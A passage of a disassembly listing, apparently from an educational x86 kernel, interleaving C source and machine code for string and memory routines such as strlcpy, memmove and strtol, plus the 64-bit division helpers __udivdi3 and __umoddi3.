f010164f: 88 42 ff mov %al,-0x1(%edx)
// If strlen(src) < size, null-pad 'dst' out to 'size' chars
if (*src != '\0')
src++;
f0101652: 80 39 01 cmpb $0x1,(%ecx)
f0101655: 83 d9 ff sbb $0xffffffff,%ecx
for (i = 0; i < size; i++) {
f0101658: 39 da cmp %ebx,%edx
f010165a: 75 ed jne f0101649 <strncpy+0x14>
}
return ret;
}
f010165c: 89 f0 mov %esi,%eax
f010165e: 5b pop %ebx
f010165f: 5e pop %esi
f0101660: 5d pop %ebp
f0101661: c3 ret
f0101662 <strlcpy>:
size_t
strlcpy(char *dst, const char *src, size_t size)
{
f0101662: 55 push %ebp
f0101663: 89 e5 mov %esp,%ebp
f0101665: 56 push %esi
f0101666: 53 push %ebx
f0101667: 8b 75 08 mov 0x8(%ebp),%esi
f010166a: 8b 55 0c mov 0xc(%ebp),%edx
f010166d: 8b 4d 10 mov 0x10(%ebp),%ecx
f0101670: 89 f0 mov %esi,%eax
f0101672: 8d 5c 0e ff lea -0x1(%esi,%ecx,1),%ebx
char *dst_in;
dst_in = dst;
if (size > 0) {
f0101676: 85 c9 test %ecx,%ecx
f0101678: 75 0b jne f0101685 <strlcpy+0x23>
f010167a: eb 17 jmp f0101693 <strlcpy+0x31>
while (--size > 0 && *src != '\0')
*dst++ = *src++;
f010167c: 83 c2 01 add $0x1,%edx
f010167f: 83 c0 01 add $0x1,%eax
f0101682: 88 48 ff mov %cl,-0x1(%eax)
while (--size > 0 && *src != '\0')
f0101685: 39 d8 cmp %ebx,%eax
f0101687: 74 07 je f0101690 <strlcpy+0x2e>
f0101689: 0f b6 0a movzbl (%edx),%ecx
f010168c: 84 c9 test %cl,%cl
f010168e: 75 ec jne f010167c <strlcpy+0x1a>
*dst = '\0';
f0101690: c6 00 00 movb $0x0,(%eax)
}
return dst - dst_in;
f0101693: 29 f0 sub %esi,%eax
}
f0101695: 5b pop %ebx
f0101696: 5e pop %esi
f0101697: 5d pop %ebp
f0101698: c3 ret
f0101699 <strcmp>:
int
strcmp(const char *p, const char *q)
{
f0101699: 55 push %ebp
f010169a: 89 e5 mov %esp,%ebp
f010169c: 8b 4d 08 mov 0x8(%ebp),%ecx
f010169f: 8b 55 0c mov 0xc(%ebp),%edx
while (*p && *p == *q)
f01016a2: eb 06 jmp f01016aa <strcmp+0x11>
p++, q++;
f01016a4: 83 c1 01 add $0x1,%ecx
f01016a7: 83 c2 01 add $0x1,%edx
while (*p && *p == *q)
f01016aa: 0f b6 01 movzbl (%ecx),%eax
f01016ad: 84 c0 test %al,%al
f01016af: 74 04 je f01016b5 <strcmp+0x1c>
f01016b1: 3a 02 cmp (%edx),%al
f01016b3: 74 ef je f01016a4 <strcmp+0xb>
return (int) ((unsigned char) *p - (unsigned char) *q);
f01016b5: 0f b6 c0 movzbl %al,%eax
f01016b8: 0f b6 12 movzbl (%edx),%edx
f01016bb: 29 d0 sub %edx,%eax
}
f01016bd: 5d pop %ebp
f01016be: c3 ret
f01016bf <strncmp>:
int
strncmp(const char *p, const char *q, size_t n)
{
f01016bf: 55 push %ebp
f01016c0: 89 e5 mov %esp,%ebp
f01016c2: 53 push %ebx
f01016c3: 8b 45 08 mov 0x8(%ebp),%eax
f01016c6: 8b 55 0c mov 0xc(%ebp),%edx
f01016c9: 89 c3 mov %eax,%ebx
f01016cb: 03 5d 10 add 0x10(%ebp),%ebx
while (n > 0 && *p && *p == *q)
f01016ce: eb 06 jmp f01016d6 <strncmp+0x17>
n--, p++, q++;
f01016d0: 83 c0 01 add $0x1,%eax
f01016d3: 83 c2 01 add $0x1,%edx
while (n > 0 && *p && *p == *q)
f01016d6: 39 d8 cmp %ebx,%eax
f01016d8: 74 16 je f01016f0 <strncmp+0x31>
f01016da: 0f b6 08 movzbl (%eax),%ecx
f01016dd: 84 c9 test %cl,%cl
f01016df: 74 04 je f01016e5 <strncmp+0x26>
f01016e1: 3a 0a cmp (%edx),%cl
f01016e3: 74 eb je f01016d0 <strncmp+0x11>
if (n == 0)
return 0;
else
return (int) ((unsigned char) *p - (unsigned char) *q);
f01016e5: 0f b6 00 movzbl (%eax),%eax
f01016e8: 0f b6 12 movzbl (%edx),%edx
f01016eb: 29 d0 sub %edx,%eax
}
f01016ed: 5b pop %ebx
f01016ee: 5d pop %ebp
f01016ef: c3 ret
return 0;
f01016f0: b8 00 00 00 00 mov $0x0,%eax
f01016f5: eb f6 jmp f01016ed <strncmp+0x2e>
f01016f7 <strchr>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a null pointer if the string has no 'c'.
char *
strchr(const char *s, char c)
{
f01016f7: 55 push %ebp
f01016f8: 89 e5 mov %esp,%ebp
f01016fa: 8b 45 08 mov 0x8(%ebp),%eax
f01016fd: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
f0101701: 0f b6 10 movzbl (%eax),%edx
f0101704: 84 d2 test %dl,%dl
f0101706: 74 09 je f0101711 <strchr+0x1a>
if (*s == c)
f0101708: 38 ca cmp %cl,%dl
f010170a: 74 0a je f0101716 <strchr+0x1f>
for (; *s; s++)
f010170c: 83 c0 01 add $0x1,%eax
f010170f: eb f0 jmp f0101701 <strchr+0xa>
return (char *) s;
return 0;
f0101711: b8 00 00 00 00 mov $0x0,%eax
}
f0101716: 5d pop %ebp
f0101717: c3 ret
f0101718 <strfind>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a pointer to the string-ending null character if the string has no 'c'.
char *
strfind(const char *s, char c)
{
f0101718: 55 push %ebp
f0101719: 89 e5 mov %esp,%ebp
f010171b: 8b 45 08 mov 0x8(%ebp),%eax
f010171e: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
f0101722: eb 03 jmp f0101727 <strfind+0xf>
f0101724: 83 c0 01 add $0x1,%eax
f0101727: 0f b6 10 movzbl (%eax),%edx
if (*s == c)
f010172a: 38 ca cmp %cl,%dl
f010172c: 74 04 je f0101732 <strfind+0x1a>
f010172e: 84 d2 test %dl,%dl
f0101730: 75 f2 jne f0101724 <strfind+0xc>
break;
return (char *) s;
}
f0101732: 5d pop %ebp
f0101733: c3 ret
f0101734 <memset>:
#if ASM
void *
memset(void *v, int c, size_t n)
{
f0101734: 55 push %ebp
f0101735: 89 e5 mov %esp,%ebp
f0101737: 57 push %edi
f0101738: 56 push %esi
f0101739: 53 push %ebx
f010173a: 8b 7d 08 mov 0x8(%ebp),%edi
f010173d: 8b 4d 10 mov 0x10(%ebp),%ecx
char *p;
if (n == 0)
f0101740: 85 c9 test %ecx,%ecx
f0101742: 74 13 je f0101757 <memset+0x23>
return v;
if ((int)v%4 == 0 && n%4 == 0) {
f0101744: f7 c7 03 00 00 00 test $0x3,%edi
f010174a: 75 05 jne f0101751 <memset+0x1d>
f010174c: f6 c1 03 test $0x3,%cl
f010174f: 74 0d je f010175e <memset+0x2a>
c = (c<<24)|(c<<16)|(c<<8)|c;
asm volatile("cld; rep stosl\n"
:: "D" (v), "a" (c), "c" (n/4)
: "cc", "memory");
} else
asm volatile("cld; rep stosb\n"
f0101751: 8b 45 0c mov 0xc(%ebp),%eax
f0101754: fc cld
f0101755: f3 aa rep stos %al,%es:(%edi)
:: "D" (v), "a" (c), "c" (n)
: "cc", "memory");
return v;
}
f0101757: 89 f8 mov %edi,%eax
f0101759: 5b pop %ebx
f010175a: 5e pop %esi
f010175b: 5f pop %edi
f010175c: 5d pop %ebp
f010175d: c3 ret
c &= 0xFF;
f010175e: 0f b6 55 0c movzbl 0xc(%ebp),%edx
c = (c<<24)|(c<<16)|(c<<8)|c;
f0101762: 89 d3 mov %edx,%ebx
f0101764: c1 e3 08 shl $0x8,%ebx
f0101767: 89 d0 mov %edx,%eax
f0101769: c1 e0 18 shl $0x18,%eax
f010176c: 89 d6 mov %edx,%esi
f010176e: c1 e6 10 shl $0x10,%esi
f0101771: 09 f0 or %esi,%eax
f0101773: 09 c2 or %eax,%edx
f0101775: 09 da or %ebx,%edx
:: "D" (v), "a" (c), "c" (n/4)
f0101777: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep stosl\n"
f010177a: 89 d0 mov %edx,%eax
f010177c: fc cld
f010177d: f3 ab rep stos %eax,%es:(%edi)
f010177f: eb d6 jmp f0101757 <memset+0x23>
f0101781 <memmove>:
void *
memmove(void *dst, const void *src, size_t n)
{
f0101781: 55 push %ebp
f0101782: 89 e5 mov %esp,%ebp
f0101784: 57 push %edi
f0101785: 56 push %esi
f0101786: 8b 45 08 mov 0x8(%ebp),%eax
f0101789: 8b 75 0c mov 0xc(%ebp),%esi
f010178c: 8b 4d 10 mov 0x10(%ebp),%ecx
const char *s;
char *d;
s = src;
d = dst;
if (s < d && s + n > d) {
f010178f: 39 c6 cmp %eax,%esi
f0101791: 73 35 jae f01017c8 <memmove+0x47>
f0101793: 8d 14 0e lea (%esi,%ecx,1),%edx
f0101796: 39 c2 cmp %eax,%edx
f0101798: 76 2e jbe f01017c8 <memmove+0x47>
s += n;
d += n;
f010179a: 8d 3c 08 lea (%eax,%ecx,1),%edi
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
f010179d: 89 d6 mov %edx,%esi
f010179f: 09 fe or %edi,%esi
f01017a1: f7 c6 03 00 00 00 test $0x3,%esi
f01017a7: 74 0c je f01017b5 <memmove+0x34>
asm volatile("std; rep movsl\n"
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
else
asm volatile("std; rep movsb\n"
:: "D" (d-1), "S" (s-1), "c" (n) : "cc", "memory");
f01017a9: 83 ef 01 sub $0x1,%edi
f01017ac: 8d 72 ff lea -0x1(%edx),%esi
asm volatile("std; rep movsb\n"
f01017af: fd std
f01017b0: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
// Some versions of GCC rely on DF being clear
asm volatile("cld" ::: "cc");
f01017b2: fc cld
f01017b3: eb 21 jmp f01017d6 <memmove+0x55>
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
f01017b5: f6 c1 03 test $0x3,%cl
f01017b8: 75 ef jne f01017a9 <memmove+0x28>
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
f01017ba: 83 ef 04 sub $0x4,%edi
f01017bd: 8d 72 fc lea -0x4(%edx),%esi
f01017c0: c1 e9 02 shr $0x2,%ecx
asm volatile("std; rep movsl\n"
f01017c3: fd std
f01017c4: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f01017c6: eb ea jmp f01017b2 <memmove+0x31>
} else {
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
f01017c8: 89 f2 mov %esi,%edx
f01017ca: 09 c2 or %eax,%edx
f01017cc: f6 c2 03 test $0x3,%dl
f01017cf: 74 09 je f01017da <memmove+0x59>
asm volatile("cld; rep movsl\n"
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
else
asm volatile("cld; rep movsb\n"
f01017d1: 89 c7 mov %eax,%edi
f01017d3: fc cld
f01017d4: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
:: "D" (d), "S" (s), "c" (n) : "cc", "memory");
}
return dst;
}
f01017d6: 5e pop %esi
f01017d7: 5f pop %edi
f01017d8: 5d pop %ebp
f01017d9: c3 ret
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
f01017da: f6 c1 03 test $0x3,%cl
f01017dd: 75 f2 jne f01017d1 <memmove+0x50>
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
f01017df: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep movsl\n"
f01017e2: 89 c7 mov %eax,%edi
f01017e4: fc cld
f01017e5: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f01017e7: eb ed jmp f01017d6 <memmove+0x55>
f01017e9 <memcpy>:
}
#endif
void *
memcpy(void *dst, const void *src, size_t n)
{
f01017e9: 55 push %ebp
f01017ea: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
f01017ec: ff 75 10 pushl 0x10(%ebp)
f01017ef: ff 75 0c pushl 0xc(%ebp)
f01017f2: ff 75 08 pushl 0x8(%ebp)
f01017f5: e8 87 ff ff ff call f0101781 <memmove>
}
f01017fa: c9 leave
f01017fb: c3 ret
f01017fc <memcmp>:
int
memcmp(const void *v1, const void *v2, size_t n)
{
f01017fc: 55 push %ebp
f01017fd: 89 e5 mov %esp,%ebp
f01017ff: 56 push %esi
f0101800: 53 push %ebx
f0101801: 8b 45 08 mov 0x8(%ebp),%eax
f0101804: 8b 55 0c mov 0xc(%ebp),%edx
f0101807: 89 c6 mov %eax,%esi
f0101809: 03 75 10 add 0x10(%ebp),%esi
const uint8_t *s1 = (const uint8_t *) v1;
const uint8_t *s2 = (const uint8_t *) v2;
while (n-- > 0) {
f010180c: 39 f0 cmp %esi,%eax
f010180e: 74 1c je f010182c <memcmp+0x30>
if (*s1 != *s2)
f0101810: 0f b6 08 movzbl (%eax),%ecx
f0101813: 0f b6 1a movzbl (%edx),%ebx
f0101816: 38 d9 cmp %bl,%cl
f0101818: 75 08 jne f0101822 <memcmp+0x26>
return (int) *s1 - (int) *s2;
s1++, s2++;
f010181a: 83 c0 01 add $0x1,%eax
f010181d: 83 c2 01 add $0x1,%edx
f0101820: eb ea jmp f010180c <memcmp+0x10>
return (int) *s1 - (int) *s2;
f0101822: 0f b6 c1 movzbl %cl,%eax
f0101825: 0f b6 db movzbl %bl,%ebx
f0101828: 29 d8 sub %ebx,%eax
f010182a: eb 05 jmp f0101831 <memcmp+0x35>
}
return 0;
f010182c: b8 00 00 00 00 mov $0x0,%eax
}
f0101831: 5b pop %ebx
f0101832: 5e pop %esi
f0101833: 5d pop %ebp
f0101834: c3 ret
f0101835 <memfind>:
void *
memfind(const void *s, int c, size_t n)
{
f0101835: 55 push %ebp
f0101836: 89 e5 mov %esp,%ebp
f0101838: 8b 45 08 mov 0x8(%ebp),%eax
f010183b: 8b 4d 0c mov 0xc(%ebp),%ecx
const void *ends = (const char *) s + n;
f010183e: 89 c2 mov %eax,%edx
f0101840: 03 55 10 add 0x10(%ebp),%edx
for (; s < ends; s++)
f0101843: 39 d0 cmp %edx,%eax
f0101845: 73 09 jae f0101850 <memfind+0x1b>
if (*(const unsigned char *) s == (unsigned char) c)
f0101847: 38 08 cmp %cl,(%eax)
f0101849: 74 05 je f0101850 <memfind+0x1b>
for (; s < ends; s++)
f010184b: 83 c0 01 add $0x1,%eax
f010184e: eb f3 jmp f0101843 <memfind+0xe>
break;
return (void *) s;
}
f0101850: 5d pop %ebp
f0101851: c3 ret
f0101852 <strtol>:
long
strtol(const char *s, char **endptr, int base)
{
f0101852: 55 push %ebp
f0101853: 89 e5 mov %esp,%ebp
f0101855: 57 push %edi
f0101856: 56 push %esi
f0101857: 53 push %ebx
f0101858: 8b 4d 08 mov 0x8(%ebp),%ecx
f010185b: 8b 5d 10 mov 0x10(%ebp),%ebx
int neg = 0;
long val = 0;
// gobble initial whitespace
while (*s == ' ' || *s == '\t')
f010185e: eb 03 jmp f0101863 <strtol+0x11>
s++;
f0101860: 83 c1 01 add $0x1,%ecx
while (*s == ' ' || *s == '\t')
f0101863: 0f b6 01 movzbl (%ecx),%eax
f0101866: 3c 20 cmp $0x20,%al
f0101868: 74 f6 je f0101860 <strtol+0xe>
f010186a: 3c 09 cmp $0x9,%al
f010186c: 74 f2 je f0101860 <strtol+0xe>
// plus/minus sign
if (*s == '+')
f010186e: 3c 2b cmp $0x2b,%al
f0101870: 74 2e je f01018a0 <strtol+0x4e>
int neg = 0;
f0101872: bf 00 00 00 00 mov $0x0,%edi
s++;
else if (*s == '-')
f0101877: 3c 2d cmp $0x2d,%al
f0101879: 74 2f je f01018aa <strtol+0x58>
s++, neg = 1;
// hex or octal base prefix
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
f010187b: f7 c3 ef ff ff ff test $0xffffffef,%ebx
f0101881: 75 05 jne f0101888 <strtol+0x36>
f0101883: 80 39 30 cmpb $0x30,(%ecx)
f0101886: 74 2c je f01018b4 <strtol+0x62>
s += 2, base = 16;
else if (base == 0 && s[0] == '0')
f0101888: 85 db test %ebx,%ebx
f010188a: 75 0a jne f0101896 <strtol+0x44>
s++, base = 8;
else if (base == 0)
base = 10;
f010188c: bb 0a 00 00 00 mov $0xa,%ebx
else if (base == 0 && s[0] == '0')
f0101891: 80 39 30 cmpb $0x30,(%ecx)
f0101894: 74 28 je f01018be <strtol+0x6c>
base = 10;
f0101896: b8 00 00 00 00 mov $0x0,%eax
f010189b: 89 5d 10 mov %ebx,0x10(%ebp)
f010189e: eb 50 jmp f01018f0 <strtol+0x9e>
s++;
f01018a0: 83 c1 01 add $0x1,%ecx
int neg = 0;
f01018a3: bf 00 00 00 00 mov $0x0,%edi
f01018a8: eb d1 jmp f010187b <strtol+0x29>
s++, neg = 1;
f01018aa: 83 c1 01 add $0x1,%ecx
f01018ad: bf 01 00 00 00 mov $0x1,%edi
f01018b2: eb c7 jmp f010187b <strtol+0x29>
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
f01018b4: 80 79 01 78 cmpb $0x78,0x1(%ecx)
f01018b8: 74 0e je f01018c8 <strtol+0x76>
else if (base == 0 && s[0] == '0')
f01018ba: 85 db test %ebx,%ebx
f01018bc: 75 d8 jne f0101896 <strtol+0x44>
s++, base = 8;
f01018be: 83 c1 01 add $0x1,%ecx
f01018c1: bb 08 00 00 00 mov $0x8,%ebx
f01018c6: eb ce jmp f0101896 <strtol+0x44>
s += 2, base = 16;
f01018c8: 83 c1 02 add $0x2,%ecx
f01018cb: bb 10 00 00 00 mov $0x10,%ebx
f01018d0: eb c4 jmp f0101896 <strtol+0x44>
while (1) {
int dig;
if (*s >= '0' && *s <= '9')
dig = *s - '0';
else if (*s >= 'a' && *s <= 'z')
f01018d2: 8d 72 9f lea -0x61(%edx),%esi
f01018d5: 89 f3 mov %esi,%ebx
f01018d7: 80 fb 19 cmp $0x19,%bl
f01018da: 77 29 ja f0101905 <strtol+0xb3>
dig = *s - 'a' + 10;
f01018dc: 0f be d2 movsbl %dl,%edx
f01018df: 83 ea 57 sub $0x57,%edx
else if (*s >= 'A' && *s <= 'Z')
dig = *s - 'A' + 10;
else
break;
if (dig >= base)
f01018e2: 3b 55 10 cmp 0x10(%ebp),%edx
f01018e5: 7d 30 jge f0101917 <strtol+0xc5>
break;
s++, val = (val * base) + dig;
f01018e7: 83 c1 01 add $0x1,%ecx
f01018ea: 0f af 45 10 imul 0x10(%ebp),%eax
f01018ee: 01 d0 add %edx,%eax
if (*s >= '0' && *s <= '9')
f01018f0: 0f b6 11 movzbl (%ecx),%edx
f01018f3: 8d 72 d0 lea -0x30(%edx),%esi
f01018f6: 89 f3 mov %esi,%ebx
f01018f8: 80 fb 09 cmp $0x9,%bl
f01018fb: 77 d5 ja f01018d2 <strtol+0x80>
dig = *s - '0';
f01018fd: 0f be d2 movsbl %dl,%edx
f0101900: 83 ea 30 sub $0x30,%edx
f0101903: eb dd jmp f01018e2 <strtol+0x90>
else if (*s >= 'A' && *s <= 'Z')
f0101905: 8d 72 bf lea -0x41(%edx),%esi
f0101908: 89 f3 mov %esi,%ebx
f010190a: 80 fb 19 cmp $0x19,%bl
f010190d: 77 08 ja f0101917 <strtol+0xc5>
dig = *s - 'A' + 10;
f010190f: 0f be d2 movsbl %dl,%edx
f0101912: 83 ea 37 sub $0x37,%edx
f0101915: eb cb jmp f01018e2 <strtol+0x90>
// we don't properly detect overflow!
}
if (endptr)
f0101917: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
f010191b: 74 05 je f0101922 <strtol+0xd0>
*endptr = (char *) s;
f010191d: 8b 75 0c mov 0xc(%ebp),%esi
f0101920: 89 0e mov %ecx,(%esi)
return (neg ? -val : val);
f0101922: 89 c2 mov %eax,%edx
f0101924: f7 da neg %edx
f0101926: 85 ff test %edi,%edi
f0101928: 0f 45 c2 cmovne %edx,%eax
}
f010192b: 5b pop %ebx
f010192c: 5e pop %esi
f010192d: 5f pop %edi
f010192e: 5d pop %ebp
f010192f: c3 ret
f0101930 <__udivdi3>:
f0101930: 55 push %ebp
f0101931: 57 push %edi
f0101932: 56 push %esi
f0101933: 53 push %ebx
f0101934: 83 ec 1c sub $0x1c,%esp
f0101937: 8b 54 24 3c mov 0x3c(%esp),%edx
f010193b: 8b 6c 24 30 mov 0x30(%esp),%ebp
f010193f: 8b 74 24 34 mov 0x34(%esp),%esi
f0101943: 8b 5c 24 38 mov 0x38(%esp),%ebx
f0101947: 85 d2 test %edx,%edx
f0101949: 75 35 jne f0101980 <__udivdi3+0x50>
f010194b: 39 f3 cmp %esi,%ebx
f010194d: 0f 87 bd 00 00 00 ja f0101a10 <__udivdi3+0xe0>
f0101953: 85 db test %ebx,%ebx
f0101955: 89 d9 mov %ebx,%ecx
f0101957: 75 0b jne f0101964 <__udivdi3+0x34>
f0101959: b8 01 00 00 00 mov $0x1,%eax
f010195e: 31 d2 xor %edx,%edx
f0101960: f7 f3 div %ebx
f0101962: 89 c1 mov %eax,%ecx
f0101964: 31 d2 xor %edx,%edx
f0101966: 89 f0 mov %esi,%eax
f0101968: f7 f1 div %ecx
f010196a: 89 c6 mov %eax,%esi
f010196c: 89 e8 mov %ebp,%eax
f010196e: 89 f7 mov %esi,%edi
f0101970: f7 f1 div %ecx
f0101972: 89 fa mov %edi,%edx
f0101974: 83 c4 1c add $0x1c,%esp
f0101977: 5b pop %ebx
f0101978: 5e pop %esi
f0101979: 5f pop %edi
f010197a: 5d pop %ebp
f010197b: c3 ret
f010197c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f0101980: 39 f2 cmp %esi,%edx
f0101982: 77 7c ja f0101a00 <__udivdi3+0xd0>
f0101984: 0f bd fa bsr %edx,%edi
f0101987: 83 f7 1f xor $0x1f,%edi
f010198a: 0f 84 98 00 00 00 je f0101a28 <__udivdi3+0xf8>
f0101990: 89 f9 mov %edi,%ecx
f0101992: b8 20 00 00 00 mov $0x20,%eax
f0101997: 29 f8 sub %edi,%eax
f0101999: d3 e2 shl %cl,%edx
f010199b: 89 54 24 08 mov %edx,0x8(%esp)
f010199f: 89 c1 mov %eax,%ecx
f01019a1: 89 da mov %ebx,%edx
f01019a3: d3 ea shr %cl,%edx
f01019a5: 8b 4c 24 08 mov 0x8(%esp),%ecx
f01019a9: 09 d1 or %edx,%ecx
f01019ab: 89 f2 mov %esi,%edx
f01019ad: 89 4c 24 08 mov %ecx,0x8(%esp)
f01019b1: 89 f9 mov %edi,%ecx
f01019b3: d3 e3 shl %cl,%ebx
f01019b5: 89 c1 mov %eax,%ecx
f01019b7: d3 ea shr %cl,%edx
f01019b9: 89 f9 mov %edi,%ecx
f01019bb: 89 5c 24 0c mov %ebx,0xc(%esp)
f01019bf: d3 e6 shl %cl,%esi
f01019c1: 89 eb mov %ebp,%ebx
f01019c3: 89 c1 mov %eax,%ecx
f01019c5: d3 eb shr %cl,%ebx
f01019c7: 09 de or %ebx,%esi
f01019c9: 89 f0 mov %esi,%eax
f01019cb: f7 74 24 08 divl 0x8(%esp)
f01019cf: 89 d6 mov %edx,%esi
f01019d1: 89 c3 mov %eax,%ebx
f01019d3: f7 64 24 0c mull 0xc(%esp)
f01019d7: 39 d6 cmp %edx,%esi
f01019d9: 72 0c jb f01019e7 <__udivdi3+0xb7>
f01019db: 89 f9 mov %edi,%ecx
f01019dd: d3 e5 shl %cl,%ebp
f01019df: 39 c5 cmp %eax,%ebp
f01019e1: 73 5d jae f0101a40 <__udivdi3+0x110>
f01019e3: 39 d6 cmp %edx,%esi
f01019e5: 75 59 jne f0101a40 <__udivdi3+0x110>
f01019e7: 8d 43 ff lea -0x1(%ebx),%eax
f01019ea: 31 ff xor %edi,%edi
f01019ec: 89 fa mov %edi,%edx
f01019ee: 83 c4 1c add $0x1c,%esp
f01019f1: 5b pop %ebx
f01019f2: 5e pop %esi
f01019f3: 5f pop %edi
f01019f4: 5d pop %ebp
f01019f5: c3 ret
f01019f6: 8d 76 00 lea 0x0(%esi),%esi
f01019f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
f0101a00: 31 ff xor %edi,%edi
f0101a02: 31 c0 xor %eax,%eax
f0101a04: 89 fa mov %edi,%edx
f0101a06: 83 c4 1c add $0x1c,%esp
f0101a09: 5b pop %ebx
f0101a0a: 5e pop %esi
f0101a0b: 5f pop %edi
f0101a0c: 5d pop %ebp
f0101a0d: c3 ret
f0101a0e: 66 90 xchg %ax,%ax
f0101a10: 31 ff xor %edi,%edi
f0101a12: 89 e8 mov %ebp,%eax
f0101a14: 89 f2 mov %esi,%edx
f0101a16: f7 f3 div %ebx
f0101a18: 89 fa mov %edi,%edx
f0101a1a: 83 c4 1c add $0x1c,%esp
f0101a1d: 5b pop %ebx
f0101a1e: 5e pop %esi
f0101a1f: 5f pop %edi
f0101a20: 5d pop %ebp
f0101a21: c3 ret
f0101a22: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f0101a28: 39 f2 cmp %esi,%edx
f0101a2a: 72 06 jb f0101a32 <__udivdi3+0x102>
f0101a2c: 31 c0 xor %eax,%eax
f0101a2e: 39 eb cmp %ebp,%ebx
f0101a30: 77 d2 ja f0101a04 <__udivdi3+0xd4>
f0101a32: b8 01 00 00 00 mov $0x1,%eax
f0101a37: eb cb jmp f0101a04 <__udivdi3+0xd4>
f0101a39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0101a40: 89 d8 mov %ebx,%eax
f0101a42: 31 ff xor %edi,%edi
f0101a44: eb be jmp f0101a04 <__udivdi3+0xd4>
f0101a46: 66 90 xchg %ax,%ax
f0101a48: 66 90 xchg %ax,%ax
f0101a4a: 66 90 xchg %ax,%ax
f0101a4c: 66 90 xchg %ax,%ax
f0101a4e: 66 90 xchg %ax,%ax
f0101a50 <__umoddi3>:
f0101a50: 55 push %ebp
f0101a51: 57 push %edi
f0101a52: 56 push %esi
f0101a53: 53 push %ebx
f0101a54: 83 ec 1c sub $0x1c,%esp
f0101a57: 8b 6c 24 3c mov 0x3c(%esp),%ebp
f0101a5b: 8b 74 24 30 mov 0x30(%esp),%esi
f0101a5f: 8b 5c 24 34 mov 0x34(%esp),%ebx
f0101a63: 8b 7c 24 38 mov 0x38(%esp),%edi
f0101a67: 85 ed test %ebp,%ebp
f0101a69: 89 f0 mov %esi,%eax
f0101a6b: 89 da mov %ebx,%edx
f0101a6d: 75 19 jne f0101a88 <__umoddi3+0x38>
f0101a6f: 39 df cmp %ebx,%edi
f0101a71: 0f 86 b1 00 00 00 jbe f0101b28 <__umoddi3+0xd8>
f0101a77: f7 f7 div %edi
f0101a79: 89 d0 mov %edx,%eax
f0101a7b: 31 d2 xor %edx,%edx
f0101a7d: 83 c4 1c add $0x1c,%esp
f0101a80: 5b pop %ebx
f0101a81: 5e pop %esi
f0101a82: 5f pop %edi
f0101a83: 5d pop %ebp
f0101a84: c3 ret
f0101a85: 8d 76 00 lea 0x0(%esi),%esi
f0101a88: 39 dd cmp %ebx,%ebp
f0101a8a: 77 f1 ja f0101a7d <__umoddi3+0x2d>
f0101a8c: 0f bd cd bsr %ebp,%ecx
f0101a8f: 83 f1 1f xor $0x1f,%ecx
f0101a92: 89 4c 24 04 mov %ecx,0x4(%esp)
f0101a96: 0f 84 b4 00 00 00 je f0101b50 <__umoddi3+0x100>
f0101a9c: b8 20 00 00 00 mov $0x20,%eax
f0101aa1: 89 c2 mov %eax,%edx
f0101aa3: 8b 44 24 04 mov 0x4(%esp),%eax
f0101aa7: 29 c2 sub %eax,%edx
f0101aa9: 89 c1 mov %eax,%ecx
f0101aab: 89 f8 mov %edi,%eax
f0101aad: d3 e5 shl %cl,%ebp
f0101aaf: 89 d1 mov %edx,%ecx
f0101ab1: 89 54 24 0c mov %edx,0xc(%esp)
f0101ab5: d3 e8 shr %cl,%eax
f0101ab7: 09 c5 or %eax,%ebp
f0101ab9: 8b 44 24 04 mov 0x4(%esp),%eax
f0101abd: 89 c1 mov %eax,%ecx
f0101abf: d3 e7 shl %cl,%edi
f0101ac1: 89 d1 mov %edx,%ecx
f0101ac3: 89 7c 24 08 mov %edi,0x8(%esp)
f0101ac7: 89 df mov %ebx,%edi
f0101ac9: d3 ef shr %cl,%edi
f0101acb: 89 c1 mov %eax,%ecx
f0101acd: 89 f0 mov %esi,%eax
f0101acf: d3 e3 shl %cl,%ebx
f0101ad1: 89 d1 mov %edx,%ecx
f0101ad3: 89 fa mov %edi,%edx
f0101ad5: d3 e8 shr %cl,%eax
f0101ad7: 0f b6 4c 24 04 movzbl 0x4(%esp),%ecx
f0101adc: 09 d8 or %ebx,%eax
f0101ade: f7 f5 div %ebp
f0101ae0: d3 e6 shl %cl,%esi
f0101ae2: 89 d1 mov %edx,%ecx
f0101ae4: f7 64 24 08 mull 0x8(%esp)
f0101ae8: 39 d1 cmp %edx,%ecx
f0101aea: 89 c3 mov %eax,%ebx
f0101aec: 89 d7 mov %edx,%edi
f0101aee: 72 06 jb f0101af6 <__umoddi3+0xa6>
f0101af0: 75 0e jne f0101b00 <__umoddi3+0xb0>
f0101af2: 39 c6 cmp %eax,%esi
f0101af4: 73 0a jae f0101b00 <__umoddi3+0xb0>
f0101af6: 2b 44 24 08 sub 0x8(%esp),%eax
f0101afa: 19 ea sbb %ebp,%edx
f0101afc: 89 d7 mov %edx,%edi
f0101afe: 89 c3 mov %eax,%ebx
f0101b00: 89 ca mov %ecx,%edx
f0101b02: 0f b6 4c 24 0c movzbl 0xc(%esp),%ecx
f0101b07: 29 de sub %ebx,%esi
f0101b09: 19 fa sbb %edi,%edx
f0101b0b: 8b 5c 24 04 mov 0x4(%esp),%ebx
